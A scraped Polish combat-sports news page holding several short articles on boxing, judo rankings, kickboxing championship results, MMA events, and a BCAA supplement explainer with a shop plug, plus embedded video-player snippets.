20 marca będziemy się emocjonować pojedynkiem Krzysztofa Głowackiego z Lawrencem Okolie o wakujący tytuł mistrza świata WBO wagi junior ciężkiej. Zaglądamy do karty walk gali, która odbędzie się w Wielkiej Brytanii.

Głowacki może wspaniale rozpocząć wiosnę 2021 roku. Jeśli pokona Okolie, ponownie znajdzie się na bokserskim szczycie. A sam pięściarz pragnie zwycięstwa, kibicom potrzeba zaś pozytywnych doznań. Długo toczyły się dywagacje wokół tej walki, ale w ostatnich dniach padło sakramentalne "tak" i konkretny termin – 20 marca. Gdyby nie koronawirus u Krzysztofa Głowackiego, starcie odbyłoby się w grudniu. Choć pierwotnie walkę planowano w czerwcu, ale na przeszkodzie stanęła pandemia. Wiadomo jednak, że żyjemy w trudnych i nieprzewidywalnych czasach, a zdrowie jest najwyższą wartością. Dlatego teraz ciężka praca, przygotowania i wiosną liczymy na wspaniałe starcie.

Dla Głowackiego będzie to pierwszy występ od czerwca 2019 roku, kiedy przegrał niesprawiedliwie z Mairisem Briedisem. Łotysz dopuścił się nieczystych zagrań, a potem nie chciał ponownie spotkać się z Polakiem. W związku z tym musiał zwakować pas WBO. Z kolei Okolie zaprezentował się w grudniu na Wembley podczas gali, której głównym wydarzeniem było starcie Anthony'ego Joshuy z Kubratem Pulewem. Brytyjczyk w drugiej rundzie znokautował Nikodema Jeżewskiego. Zatem nadarza się okazja, aby Głowacki pomścił rodaka.

20 marca będziemy ściskać kciuki za pięściarza urodzonego w Wałczu, ale na gali zobaczymy ciekawe pojedynki. W ringu zaprezentuje się Solomon Dacres. Pieściarz jest regularnym sparingpartnerem Anthony'ego Joshuy. Na ringu pojawi się Ramla Ali, która zmierzy się z Vanesą Caballero. Powrót do rywalizacji zaliczy niepokonany Joe Cordina. 29-letni Brytyjczyk ostatni pojedynek stoczył w listopadzie 2019 roku.

Podczas gali na szali pojawi się tytuł mistrza Wspólnoty Brytyjskiej wagi junior ciężkiej, o który zawalczą Chris Billam-Smith i Deion Jumah. Pierwszy ma koncie 11 zwycięstw i porażkę, zaś drugi wygrał wszystkie 13 starć.

O pas WBC wagi superlekkiej powalczą Chantelle Cameron i Melissa Hernandez. 29-letnia Brytyjka jest niepokonana, a w październiku wygrała z Adrianą dos Santos Araujo. Hernandez to doświadczona pięściarka, która stoczyła ponad 30 walk. 40-letnia Portorykanka wygrała 23.

Fot. Krzysztof Głowacki Facebook

KM

TOP 5 Judo – Ranking najlepszych polskich judoków

Koniec roku i początek nowego skłania do podsumowań i statystyk, z których wyłania się obraz dyscypliny i nazwiska zawodniczek i zawodników z najlepszym dorobkiem. Rok 2020 nie należał do łatwych i odcisnął mocne piętno na rywalizacji sportowej, nie mniej jednak kilka osób w polskim judo pokazało na co je stać. Zacznijmy od judoczek, bo tu wyników więcej i jest z czego wybierać.

Niekwestionowaną liderką rankingu została Angelika Szymańska (MKS Olimpijczyk Włocławek). Podopieczna Anety Szczepańskiej, naszej wicemistrzyni olimpijskiej oraz Romana Stawisińskiego pokazała, że pazurami wydziera swój kawałek europejskiego tortu i coraz mocniej zaznacza swoją pozycję. Widać, że Angelika poprawiła walkę w parterze czym wygrywa wiele walk. Do tego mocna tomoe-nage (rzut poświęcenia) i w tym roku wystarczyło na większość przeciwniczek. Angelika wywalczyła srebro na mistrzostwach Europy do lat 23 oraz piąte miejsce na seniorskich mistrzostwach Europy ( 2 walki wygrane), by na krajowym podwórku rozsiąść się na tronie kategorii 63 kg, gdzie królowała w mistrzostwach Polski seniorek i U23. Warto dodać, że jej trenerka – Aneta Szczepańska również swoje największe wyniki odnosiła w kategoriach 66 kg (srebro IO Atlanta 1996) i 63 kg (srebro ME Budapeszt 2004). Niech to będzie dobry prognostyk na kolejne lata dla Angeliki.

Drugie miejsce w rankingu „TOP 5 Judo” zajmuje zawodniczka AZS UW Warszawa, Katarzyna Sobierajska. Trenowana przez Zdzisława Grochowskiego juniorka rok po roku udowadnia, że sukces jest jej pisany. Trzeba tylko trenować, trenować i trenować. Po sukcesach z poprzedniego roku, gdzie jeszcze jako kadetka wywalczyła brąz mistrzostw Europy i piąte miejsce na świecie, w tym została najlepszą juniorką na starym kontynencie. Pięć walk wygranych i złoto dociążyło szyję Kasi. Do tego dołożyła mistrzostwo Polski juniorków i brąz w kategorii seniorów oraz udział w mistrzostwach Europy seniorów. Rośnie nam mocny punkt reprezentacji w kategorii do 70 kg. Brawo Kasia, tak trzymać !!!

Na trzecim miejscu uplasowała się Natalia Kropska, niezwykle ciekawa dwudziestoletnia zawodniczka GKS Czarni Bytom. Ta młoda i ambitna judoczka trzy lata temu sięgnęła po srebrny medal mistrzostw świata kadetów i brązowy mistrzostw Europy. Podopieczna Marka Słyka w tym roku wywalczyła brązowy krążek mistrzostw Europy do lat 23. Na krajowym podwórku dorzuciła mistrzostwo Polski juniorów i brąz w kategorii seniorów. Czekamy na kolejne zwycięstwa Natalii.

Czwartą lokatę w naszym zestawieniu zajmuje Beata Pacut. To druga z zawodniczek GKS Czarni Bytom w rankingu. Mimo, że nie wystartowała na mistrzostwach Polski to jako jedna z dwóch polek obok Szymańskiej, potrafiła wygrać dwie walki na mistrzostwach Europy, zajmując tym samym piąte miejsce. Ta sympatyczna judoczka w przeszłości była brązową medalistką młodzieżowych mistrzostw Europy oraz trzecią zawodniczką mistrzostw świata juniorów. W swoim dorobku ma także wicemistrzostwo Europy juniorek i srebro europejskiego czempionatu w drużynie seniorek z roku 20217. Mamy wrażenie, że Beata ostatniego słowa jeszcze nie powiedziała.

Ostatnie, piąte miejsce w rankingu zajmuje Kinga Wolszczak dwudziestolatka z WKS Śląsk Wrocław. Prowadzona przez Mirosława Wolszczaka, zbieżność nazwisk nie przypadkowa, od lat zdobywa medale. W tym roku została najlepszą juniorką wagi ciężkiej, trzecią seniorką i na mistrzostwach Europy U23 wygrała jedną walkę zajmując siódme miejsce. Liczymy, że w 2021 roku do swoich sukcesów dołoży kolejne.

W zestawieniu poza pierwszą piątką znalazły się zawodniczki, które na mistrzostwach Europy seniorek wygrały po jednej walce oraz na mistrzostwach Polski plasowały się na podium: Julia Kowalczyk (Polonia Rybnik) oraz Karolina Pieńkowska (AZS UW Warszawa). Te dwie utytułowane judoczki, muszą pozytywnie nas zaskoczyć w tym roku.

Wśród mężczyzn wybór piątki najlepszych judoków nie był taki prosty. Słabe starty przeplatały się z gorszymi, a zwycięstw jak na lekarstwo. Trzy walki wygrane na mistrzostwach Europy seniorów obrazują poziom męskiego judo w Polsce.

Dlatego pierwsze miejsce w rankingu przyznaliśmy zawodnikowi młodego pokolenia. Reprezentant WKS Śląsk Wrocław, Wojciech Kordyalik w roku poprzednim wywalczył piąte miejsce na mistrzostwach Europy (dwie walki wygrane) oraz został mistrzem Polski juniorów a także srebrnym medalistą w kategorii seniorów. Startował też na mistrzostwach Europy młodzieżowców, jednakże bez sukcesów. Liczymy, że w kolejnych latach Wojtek będzie silnym punktem kadry polski.

Na drugim miejscu w zestawieniu znalazł się Piotr Kuczera (KS Kejza Team Rybnik). Znany wszystkim sympatykom judo, zawodnik z Rybnika jest aktualnym mistrzem Polski seniorów w kategorii 90kg. Podczas czempionatu starego kontynentu wygrał jedną walkę. Nie mniej jednak w przeszłości wielokrotnie udowadniał, że stać go na więcej. Wierzymy, że w tym roku obudzi się i pokaże lwi pazur. Wiemy, że stać go na wiele.

Tomasz Szczepaniak z AZS Opole zajmuje w rankingu trzecie miejsce z dorobkiem jednej zwycięskiej walki na mistrzostwach Europy oraz srebrem mistrzostw Polski seniorów. Rok trudny to i wyników nie za dużo. Obyśmy szybko pokonali Covida i mogli normalnie rywalizować.

Czwarte miejsce w tym roku przyznajemy Maciejowi Sarnackiemu z TS Gwardia Olsztyn. Nasz najwyżej sklasyfikowany w rankingu Światowej Federacji Judo (IJF) „ciężki” nie wiele startował, nie mniej jednak z całej grupy polskich zawodników potrafił wygrać walkę na mistrzostwach Europy seniorów. Szkoda, że nie zobaczyliśmy go na mistrzostwach Polski.

Nieoczekiwanie na piąte miejsce wskoczył Przemysław Litwin z AZS AWF Wrocław. Ten młodzieżowiec na mistrzostwach Europy U23 wygrał jeden z pojedynków, a na mistrzostwach Polski młodzieżowców wywalczył srebro. Na seniorskim podwórku dołożył piąte miejsce, ale należy wierzyć, że zawodnik z Wrocławia w 2021 roku „odpali”.

Na sam koniec trzeba zwrócić uwagę na dwóch juniorów, którzy jeśli starczy im zapały, system nie zabije, a Covid odpuści, mogą nas miło zaskoczyć. Mowa o Michale Kowalczyku (66 kg) z UKJ Ryś Warszawa oraz Dymitrze Janczyliku (90kg) z UKS Galeon Gdynia. Obaj na mistrzostwach Europy juniorów wygrali po dwie walki, a także zostali mistrzami Polski w tej grupie wiekowej. Warto obserwować i wspierać ich rozwój.

Rok 2020 nie był łatwy dla całego sportu. Odwołanych wiele imprez, wielokrotne testowanie, choroby i brak możliwości ustabilizowania formy. Myślę, że w imieniu wszystkich życzymy sobie aby Covid już się skończył, byśmy mogli oglądać jak najwięcej Polaków na tatami. Nasza redakcja z zaciekawieniem czeka na rozpoczęcie rywalizacji i sukcesy naszych reprezentantów, a z laureatami „TOP 5 Judo” już niebawem spotkamy się w studio telewizyjnym.

""

 

Ranking TOP 5 Judo został stworzony w oparciu o ranking IJF/PZJUDO, liczbę zwycięstw na imprezach mistrzowskich oraz liczby startów poszczególnych zawodników, a także wytrawnego i fachowego oka Redakcji.

Fot. Teofanovic-Boris

SYLWESTER Z FIGHTIME

Zapraszamy na "Sylwester z FighTime". Zobaczyć będzie można takie gale jak: Arena Fight Night #2, Piaseczno Fight Night #9, Sharks Attack #3, Wirtuoz Challenge #4 czy Rocky Warriors Cartel #4. Do tego wejścia studio live oraz programy "ONA" z Barbarą Nalepką i "ON" z Łukaszem Jaroszem.

[kod]

var player = new redGalaxy.Player("player").setup({
file: {
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/live_1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/live_1/live.livx/manifest",
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/live_1/live.livx/playlist.m3u8"
},
width: 640,
height: 380,
autoplay: false,
});

8:1:1 vs 2:1:1. Jakie BCAA wybrać?

Suplementacja BCAA to szeroki temat. Aminokwasy występują w wielu formach, takich jak tabletki, proszek czy płyn. Jakby tego było mało, składniki BCAA, czyli leucyna, izoleucyna i walina występują w specyfikach w kilku różnych proporcjach. Mnogość wyboru może powodować dylemat, co wybrać. Postaramy się rozwiać wątpliwości.

Suplementacja BCAA to szeroki temat. Aminokwasy występują w wielu formach, takich jak tabletki, proszek czy płyn. Jakby tego było mało, składniki BCAA, czyli leucyna, izoleucyna i walina występują w specyfikach w kilku różnych proporcjach. Mnogość wyboru może powodować dylemat, co wybrać. Postaramy się rozwiać wątpliwości.

Proporcji jest kilka

BCAA występuje w wersji 2:1:1, 4:1:1, 8:1:1, 10:1:1, a nawet 14:1:1. Co to w właściwie znaczy? Cyfry są wskaźnikiem ilości leucyny do izoleucyny i waliny. Oznacza to, że w odżywce 2:1:1 na dwa gramy leucyny w składzie przypadnie jeden gram izoleucyny i jeden gram waliny. Skąd taka rozbieżność? Pojawiły się głosy, że proporcje mogą mieć wpływ na działanie aminokwasów.

Co mówią badania

Najprościej byłoby sięgnąć po naukowe porównanie wszystkich dostępnych wariantów aminokwasów, problem polega na tym, że nie ma na temat proporcji w BCAA zbyt wielu artykułów. Najlepiej przebadano stosunek 2:1:1 i takie preparaty są najpopularniejsze. Ciekawe badania można znaleźć również na temat proporcji 4:1:1. Odkryto, że taki rozkład substancji w BCAA korzystnie wpływa na pracę jelit. Na temat innych stosunków trudno znaleźć wiarygodne badania, a o ich naukowym porównaniu można jedynie pomarzyć.

Porównanie

Na badania musimy jeszcze poczekać, ale fenomen wysokoleucynowych preparatów musi mieć jakieś podstawy. Na rynku największą popularność ma proporcja 8:1:1, więc na niej się skupimy. Cena, zarówno 8:1:1, jak i 2:1:1 jest podobna, więc nie jest głównym czynnikiem determinującym wybór. Co właściwie możemy osiągnąć przez wysoką zawartość leucyny?

""

Dlaczego 8:1:1?

Dyskusja nad działaniem BCAA nadal trwa, a jednym z koronnych argumentów przeciwko suplementacji trzema aminokwasami zamiast samą leucyną jest ich wzajemna konkurencja o prekursor, dzięki któremu zostają wchłaniane. Teoretycznie, zwiększając ilość leucyny w BCAA matematycznie pozwalamy jej “wygrać” więcej przekaźników, przez co więcej leucyny zostaje wchłonięte przez organizm, jednocześnie nie pozbawiając się całkowicie izoleucyny i waliny. Warto przypomnieć, że wszystkie trzy aminokwasy są substancjami egzogennymi, to znaczy, że organizm nie jest w stanie sam ich syntetyzować i muszą być przyjęte z zewnątrz, dlatego nie warto rezygnować całkowicie z waliny i izoleucyny. Proporcja 8:1:1 wydaje się być odpowiednia dla osób, które czują niedobór leucyny, który może objawić się osłabieniem organizmu i szybszym męczeniem się.

Dlaczego 2:1:1?

Różne substancje oddziałują na siebie i nie inaczej jest z aminokwasami rozgałęzionymi. Według badań najkorzystniejszy dla człowieka stosunek leucyny do izoleucyny do waliny przedstawia się proporcją: 1,1:0,7:0,8. Pozostając w takim stosunku, aminokwasy najlepiej wspomagają nawzajem pożądane przez organizm właściwości. Najbliżej do tego odżywce 2:1:1. Takie przyjmowanie BCAA nie grozi również osiągnięciem progu leucynowego, czyli maksymalnego stężenia leucyny. Kiedy osiągniemy próg leucynowy, dalsza suplementacja tego aminokwasu jest absolutnie bezużyteczna, ponieważ ciało osiągnęło maksimum swojej wchłanialności.

Podsumowanie

Ciężko bazować na rzetelnych badaniach w tej materii, należy oprzeć się na własnej intuicji. Stosowanie BCAA w stosunku 2:1:1 ma swoje wytłumaczenie w idealnej proporcji aminokwasów rozgałęzionych. Odżywki 8:1:1 mogą przekonać tych, którzy obawiają się słabszego działania leucyny z powodu obecności reszty substancji.

Bardziej przekonuje Cię działanie BCAA 2:1:1 czy 8:1:1? Niezależnie, która opcja odpowiada Ci bardziej, najlepsze suplementy znajdziesz w Muscle Power, internetowym sklepie z odżywkami.

Test-TV

[kod]

var player = new redGalaxy.Player("player").setup({
file: {
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/live_1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/live_1/live.livx/manifest",
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/live_1/live.livx/playlist.m3u8"
},
});

Kosowski demoluje w Siedlcach

Po zeszłorocznym niedosycie Wojciech Kosowski z Palestry Warszawa postanowił pokazać wszystkim, że dyskwalifikacja w finale to był przypadek. Najpierw w półfinale pokonał Macieja Guza z Fight Gym Lublin, posyłając go na deski backfistem, by za chwilę w pierwszej rundzie finału, zdemolować Mateusza Różaka z Thai Gym Tarnów, kopnięciem frontalnym.

– W tym roku nie mogłem pozostawić sędziom wątpliwości – podkreśla na swoim profilu Facebook Wojciech Kosowski.

Warto zauważyć, że Kosowski ma na swoim koncie kilka medali w tej konkurencji, jak choćby złoto w 2018 roku w Starachowicach, gdzie w finale pokonał Michała Wołosiuka z Fight Gym Lublin.

– W tym aspekcie muszę powiedzieć, że wśród faworytów wielkich niespodzianek nie było – mówi Krzysztof Kaproń członek zarządu Polskiego Związku Kickboxingu. – Choć zaskoczeniem była przegrana w walce finałowej Emilii Czerwińskiej ( SKF Boksing Zielona Góra ) z Emilią Krupczak (Hetman Bialystok ) w kategorii do 65 kg.

Mistrzostwa Polski Oriental Kickboxing pod względem organizacyjnym  były bardzo dobrze przygotowane.  Zasługa w tym przede wszystkim Andrzeja Wasilewskiego  trenera klubu Gladiator Siedlce i Marcina Przysowa Prezesa klubu. Dodatkowo wszyscy, startując mieli zapewniony bezpłatny nocleg i nie płacili startowego.

– Konkurencja oriental kickboxing ewoluuje – podkreśla Krzysztof Kaproń – W tym roku, również zostały zmienione przepisy między innymi dołożono do regulaminu możliwość wykonywania  rzutów przez biodro i zrezygnowano z muzyki tajskiej . Zmieniła się też  nazwa tej formuły sportowej z Oriental Rules na Oriental Kickboxing.

Trwające dwa dni zmagania przyniosły wiele ciekawych i mocnych walk, które można było obejrzeć na antenie Telewizji FighTime.pl oraz funpage PZKB. W sobotę w sumie oglądało mistrzostwa ponad 400 tysięcy widzów. Natomiast w niedzielę niewiele ponad 350 tysięcy. Cieszy tak duże zainteresowanie kickboxingiem w dobrym wydaniu.

Tytuły MP po raz kolejny zdobyli  Przemysław Kacieja ( SKF Boksing Zielona Góra ) i Kamil Siemaszko ( KS Czerwony Smok Poznań ). Na uwagę zasługuje  wygrana w półfinale Mateusza Pasiaka z Mistrzem Świata Low-kick Kacprem Frątczakiem. Najlepszymi zawodnikami mistrzostw zostali wybrani : Paulina Ilnicka ( Kaiser Sports ) oraz wspomniany wcześniej Wojciech Kosowski. Wśród klubów najlepiej spisali się gospodarze, czy Gladiator Siedlce.

Oprócz seniorów w Siedlcach wystartowali także juniorzy starsi. Pandemii położyła się cieniem niestety na ilości startujących. Nie umniejsza to jednak rangi mistrzostw choć wszyscy podkreślali, że czekają na zakończenie pandemii i normalne trenowanie i rywalizację. W juniorach starszych wygrywali +91kg Jakub Sakowski (Siedlecki Klub Sportowy Gladiator), -91kg Jakub Wawrzyniak (KS Czerwony SMOK Poznań), -81kg Mamikon Nikoghosyan (Siedlecki Klub Sportowy Gladiator), -71kg Mateusz Jakubowski (KS Czerwony Smok Poznań) – w finale z Larsem Czarnym (KO GYM Świebodzice) KO 1, -67kg Mateusz Foltyn (Klub Sportowy Pretorium Poznań) – w finale z Kacprem Zielińskim (Uczniowski Klub Sportowy Armia Polkowice) 3:0, -60kg Gabriel Sikora (Klub Sportowy Pretorium Poznań), -57kg Hubert Bagrowski (Uczniowski Klub Sportowy Armia Polkowice) oraz +70kg Hanna Wysocka (SKF Boksing Zielona Góra), -70kg Marta Gabas (Klub Sportowy Husaria Wieruszów).

Wynik walk finałowych MP Seniorów:

+91kg Piotr Boguciński (Szkoła Sztuk Walki Fighter Team Kraków) – Jacek Kozłowski (Smok Toruń) TKO 2

-91kg Filip Miszczak (Fight Gym Gdynia) – Oskar Mikułowski (Husarz Białystok) wo

-86kg Mateusz Pasiak (Siedlecki Klub Sportowy Gladiator) – Dawid Trajkowski (Uczniowski Klub Sportowy Armia Polkowice) 3:0

-81kg Artur Rawski (SMOK Toruń) – Alan Kalski (Fight Gym Gdynia) wo

-75kg Wojciech Kosowski (Palestra Warszawa) – Mateusz Różak (Thai Gym Tarnów) KO 1

-71kg Mateusz Janik (Thai Gym Tarnów) – Krzysztof Pyrka (Palestra Warszawa) 3:0

-67kg Kamil Siemaszko (KS Czerwony Smok Poznań) – Mateusz Białecki (Smok Toruń) RSC 3

-63,5kg Przemysław Kacieja (SKF Boksing Zielona Góra) – Jakub Syc (Legion Głogów) 2:1

-60kg Jakub Posłowski (Klincz Kielce) – Kamil Stanoch (Thai Gym Tarnów) TKO 1

-65kg Emilia Krupczak (Husarz Białystok) – Emilia Czerwińska (SKF Boksing Zielona Góra) 2:1

-48kg Paulina Ilnicka (Kaiser Sports) – Weronika Niedziałek (Siedlecki Klub Sportowy Gladiator) 3:0

Koniec przygody Silvy z UFC

45-letni Anderson Silva został zwolniony z kontraktu z UFC. Brazylijczyk przegrał trzy ostatnie pojedynki.

Przez wiele lat uznawany był za najlepszego zawodnika MMA bez podziału na kategorie wagowe. Zachwycał, odnosił kolejne zwycięstwa, dominował w UFC. Bez wątpienia Anderson Silva jest legendą mieszanych sztuk walki, ale na jego wizerunku pojawiło się kilka rys.

Brazylijczyk premierową walkę stoczył na Campo Grand w czerwcu 1997 roku. Dla wielu osób może być to odległe wspomnienie. Po stoczeniu pięciu pojedynków w Brazylii, stawił się w Japonii na gali Shooto: The Top 2. Silva pokonał wygrał z Testsuji Kato, a w kolejnym starciu otrzymał szansę zdobycia mistrzostwa w wadze średniej. Na dystansie trzech rund zaprezentował się lepiej niż Hayato Sakurai. Był sierpień 2001 roku. Potem rywalizował w organizacji Pride, zaprezentował się na galach Conquista Fight 1, Gladiartor FC: Day 2. Z kolei w 2004 roku Brazylijczyk w Londynie świętował kolejnym mistrzowski pas. Tym razem zdominował wagę średnią organizacji Cage Rage. 28 czerwca 2006 roku Silva rozpoczął swoją przygodę z UFC. W debiucie "Spider" ekspresowo uporał się z Chrisem Lebenem. Po 49 sekundach i ciosie kolanem Amerykanin nie był zdolny do dalszej rywalizacji. Cztery miesiące później Silva został mistrzem UFC. Pokonał Rich Franklina.

Anderson Silva stał się pierwszoplanową postacią organizacji. Rozpalał zbiorową wyobraźnię swoimi efektownymi nokautami. Aż 26 zwycięstw zanotował przed czasem. Brazylijczyk śrubował rekord kolejnych obron – w lipcu 2012 roku zanotował dziesiątą wygraną. Pas stracił w lipcu 2013 na rzecz Chrisa Weidmana.

Obraz wręcz idealny – wspaniały zawodnik, wielki mistrz. Tego, co osiągnął Anderson Silva nikt mu nie zabierze. Zapisał piękną kartę w historii UFC, a także całego MMA. Na wizerunku pojawiły się jednak rysy. W 2015 roku, po walce z Nickiem Diazem, w organizmie Brazylijczyka wykryto niedozwolone substancje. Podobnie u Amerykanina. Brazylijczyka zawieszono na rok i otrzymał karę finansową. Powtórka nastąpiła w 2017 roku przed galą UFC Fight Night 122. "Spider" miał zmierzyć się z Kelvinem Gastelumem, ale test przed wydarzeniem wykazał obecność syntetycznego testosteronu oraz diuretyku. Skończyło się na zawieszeniu na rok.

Anderson Silva wrócił do rywalizacji w lutym 2019 roku. Podczas gali UFC 234 przegrał z Israelem Adesanyą. W Rio de Janeiro mocne kopnięcie Jareda Cannoniera doprowadziło do kontuzji kolana brazylijskiego gwiazdora. Kolejna przegrana na koncie Silvy. Ostatni raz byłego mistrza wagi średniej mogliśmy zobaczyć w Las Vegas. 31 października br. Silva doznał trzeciej porażki z rzędu. W czwartej rundzie Uriah Hall zakończył rywalizację. W efekcie UFC postanowiło zwolnić "Spidera", choć w kontrakcie miał jeszcze jedno starcie.

Pewna epoka dobiegła końca. Silva nie przypomina już zawodnika sprzed lat. Ma 45 lat, ale niewykluczone, że jeszcze go zobaczymy w rywalizacji MMA.

Fot. Anderson "The Spider" Silva Facebook

KM

FEN 31: LOTOS Fight Night | Rutkowski VS Zieliński 2 | TRAILER

28 listopada na gali FEN 31: LOTOS Fight Night walką wieczoru będzie pojedynek rewanżowy pomiędzy Danielem Rutkowskim a Adrianem Zielińskim. Stawką tego starcia będą dwa pasy mistrzowskie dwóch organizacji MMA w kategorii piórkowej: FEN oraz Babilon. Cena PPV na FEN 31: LOTOS Fight Night to 40 złotych. Wyłącznie na platformie https://fenmma.tv wydarzenie można będzie obejrzeć w ciągu 24 godzin od momentu zakończenia gali. Dostęp PPV można także nabyć na Cyfrowym Polsacie oraz Ipla.tv.

[kod]

Polski Londyn

12 grudnia szykuje się prawdziwa bokserska uczta. W 02 Arena dojdzie do walki o cztery pasy mistrzowskie w wadze ciężkiej pomiędzy Anthonym Joshuą, a Kubratem Pulevem. W Londynie zaprezentują się również Krzysztof Głowacki i Mariusz Wach.

W ostatnich miesiącach nasze życie zmieniło się, jednak musimy odnaleźć się w realiach pandemii. Do warunków dostosować się muszą również sportowcy. Czekamy na wielkie emocje, ściskamy kciuki za naszych ulubieńców, a ich poczynania możemy śledzić jedynie za pośrednictwem telewizji bądź transmisji internetowych.

12 grudnia w Londynie nie zabraknie polskich akcentów. Obecnie na Wyspach Brytyjskich gala bokserska z udziałem Anthony’ego Joshuy, Krzysztofa Głowackiego i Mariusza Wacha zeszła na boczny plan. Emocje wywołuje czwarty sezon popularnego serialu The Crown, który opisuje losy rodziny królewskiej. Recenzje, komentarze, a przy tym ogromne zainteresowanie widzów – nie tylko na Wyspach, ale i wielu innych krajach. W tych trudnych czasach musimy dbać o swoje zdrowie, również w wymiarze psychicznym, dlatego warto odstresować się i zrelaksować. Dobry serial, ciekawa książka, ale i sportowe emocje.

Dobrze – gdy już zapoznamy się z The Crown, przyjdzie czas na Londyn w wydaniu sportowym. 12 grudnia Joshua przystąpi do pierwszej obrony tytułów po odzyskaniu ich rok temu z rąk Andy'ego Ruiza Jr. Pulew ma za sobą serię ośmiu zwycięstw i po raz drugi spróbuje sięgnąć po mistrzostwo świata. Czas pandemii jednak rządzi się swoimi prawami. Niebawem główni aktorzy grudniowej gali przejdą w tryb izolacji.

W Londynie nie zabraknie polskich akcentów. Krzysztof Głowacki będzie rywalizował o pas mistrzowski WBO w wadze junior ciężkiej. Polak zmierzy się z Lawrencem Okolie. Głowacki po raz drugi może sięgnąć po pas. Tytuł wywalczył w 2015 roku pokonując Marco Hucka, a stracił go rok później w pojedynku z Oleksandrem Usykiem. Potem wygrał pięć pojedynków i przegrał z Mairisem Briedisem w półfinale World Boxing Super Series. Łotysz dopuścił się nieczystych zagrań.

Kolejne wyzwanie w karierze Mariusza Wacha. Polski pięściarz zmierzy się z Fury'm, ale Hughie'em. Ostatnio Wach pokonał Kevina Johnsona, wcześniej przegrał z Dillianem Whyte'm. Blisko 41-letni pięściarz ma na koncie 36 zwycięstw. 26-letni Fury pokonał w tym roku Pavela Soura. W swojej karierze przegrał trzykrotnie – z Josephem Parkerem, Kubratem Pulevem i Alexandrem Powietkinem. Dla Wacha starcia z Fury'm to wyzwanie, ale i szansa na ponownie zaistnienie na "salonach" wagi ciężkiej.

12 grudnia Londyn będzie polski. Głowacki powalczy o pas mistrzowski, Wach może sporo zyskać. Dwa dni później "Wiking" będzie świętował urodziny, więc musi sprawić sobie prezent. Czekamy na euforię i polskie triumfu w O2 Arena.

Fot. Krzysztof Głowacki Facebook

KM

FEN 31: LOTOS Fight Night PPV | MAIN TRAILER

Walką wieczoru będzie pojedynek rewanżowy pomiędzy Danielem Rutkowskim a Adrianem Zielińskim. Stawką tego starcia będą dwa pasy mistrzowskie dwóch organizacji MMA w kategorii piórkowej: FEN oraz Babilon. Walką, której stawką będzie pas mistrzowski FEN w kategorii półciężkiej, jest zestawienie Adama Kowalskiego z Marcinem Wójcikiem. Dodatkowo kibice wszechstylowej walki wręcz zobaczą w Łodzi długo wyczekiwany debiut w FEN Pawła Trybały, który podejmie Łukasza Borowskiego. Ozdobą listopadowej gali będzie starcie mistrzowskie, w którym zmierzą się Sebastian Romanowski z Jonasem Magardem oraz starcie na szczycie kategorii półśredniej, w którym rękawice skrzyżują Kamil Gniadek i Piotr Poniedziałek.

[kod]

Powrót przesunięty

Trzeba poczekać na kolejny pojedynek Tysona Fury'ego. Mistrz wagi ciężkiej WBC nie zaprezentuje się gali w Londynie, która miała odbyć się 5 grudnia.

Wróćmy wspomnieniami do 22 lutego 2020 roku. Las Vegas, pojedynek Fury'ego i Deontaya Wildera. "Olbrzym z Wilmslow" zdominował Amerykanina, który był bezradny i nie potrafił wykorzystać swoich atutów. W siódmej rundzie mistrz poległ i pas zmienił właściciela. Fury ponownie w karierze zasiadł na tronie kategorii królewskiej. Warto wspomnieć, że było to drugie starcie pięściarzy. W pierwszym sędziowie orzekli remis.

Wydawało się, że naturalną koleją rzeczy będzie walka numer 3. Niektórzy zacierali ręce na to starcie, a wszystkie „znaki na niebie i ziemi” wskazywały na realizację przedsięwzięcia. Kontrakt dawał taką możliwość Wilderowi. Wszystko się jednak pokomplikowało przez pandemię koronawirusa, ale nie można zrzucać winy na sytuację. Pojedynek planowano w lipcu, potem w grudniu. Strony nie mogły się jednak porozumieć i w końcu Fury stracił cierpliwość. Brytyjczyk zwracał uwagę na opieszałość Wildera. Zdaniem Fury’ego czas na organizację rewanżu minął. Z kolei przedstawiciele Wildera stoją na innym stanowisku. Pojawiły się rozbieżności, ale życie toczy się dalej.

Mistrz miał plany, co do kolejnego występu. Mówiło się, że Fury zaprezentuje się 5 grudnia na gali w Londynie. Lista potencjalnych kandydatów była długa. Wymieniano m.in. Aleksandra Dimitrenkę, Kaska Alego, Lucasa Browne'a. Na liście znalazł się także Mariusz Wach. Potem spekulowano, że największe szanse ma Simon Kean, ale na ostatniej prostej na pierwszy plan wysunął się Agit Kabayel. W niedzielę 15 listopada Fury poinformował, że w ringu się jednak nie pojawi. – Król Cyganów powraca w 2021 roku. Tylko Ci, którzy mnie wspierają na 100%, będą ze mną w dniu chwały – napisał bokser na Twitterze.

Cała sytuacja zapewne ma związek z ostatnimi krokami Wildera. Obóz byłego mistrza WBC podjął działania związane z uruchomienie tzw. klauzuli rozwiązywania sporów. Celem Amerykanina jest trzecia walka z Fury'm. Szykuje się zatem nie tylko ringowa rywalizacja.

Fot. Tyson Fury Facebook

KM

Szybka wygrana Soldicia

W walce wieczoru gali KSW 56 Roberto Soldić pokonał Michała Materlę. Pas mistrzowski w kategorii półciężkiej nadal należy do Tomasza Narkuna.

25-letni Soldić przebojem wdarł się do KSW. W grudniu 2017 roku pokonał Borysa Mańkowskiego i sięgnął po pas w wadze półśredniej. Co prawda stracił go na rzecz Dricusa Du Plessisa, ale w rewanżu Chorwat okazał się lepszy. Potem Soldić wygrał trzy walki. Podczas KSW 56 chorwacki wojownik miał zmierzyć się z legendą organizacji Michałem Materlą. 30-latek w tym roku pokonał Alesandara Ilicia (KSW 55), a wcześniej na gali EFM 3 wygrał z Wilhelmem Ottem.

W Łodzi karty rozdawał Soldić. Materla starał się odeprzeć napór rywala, ale Chorwat ciągle parł do przodu i posyłał ciosy w stronę doświadczonego rywala. Po kolejnych uderzeniach 36-latek padł na matę. Chorwat kontynuował swoją pracę i podkręcał tempo. Soldić wyprowadzał celne kopnięcia, Materla ponownie znalazł się na deskach. Pojedynek zakończył się w pierwszej rundzie. Soldić w kolejnym występie chciałby zmierzyć się z Mamedem Khalidovem.

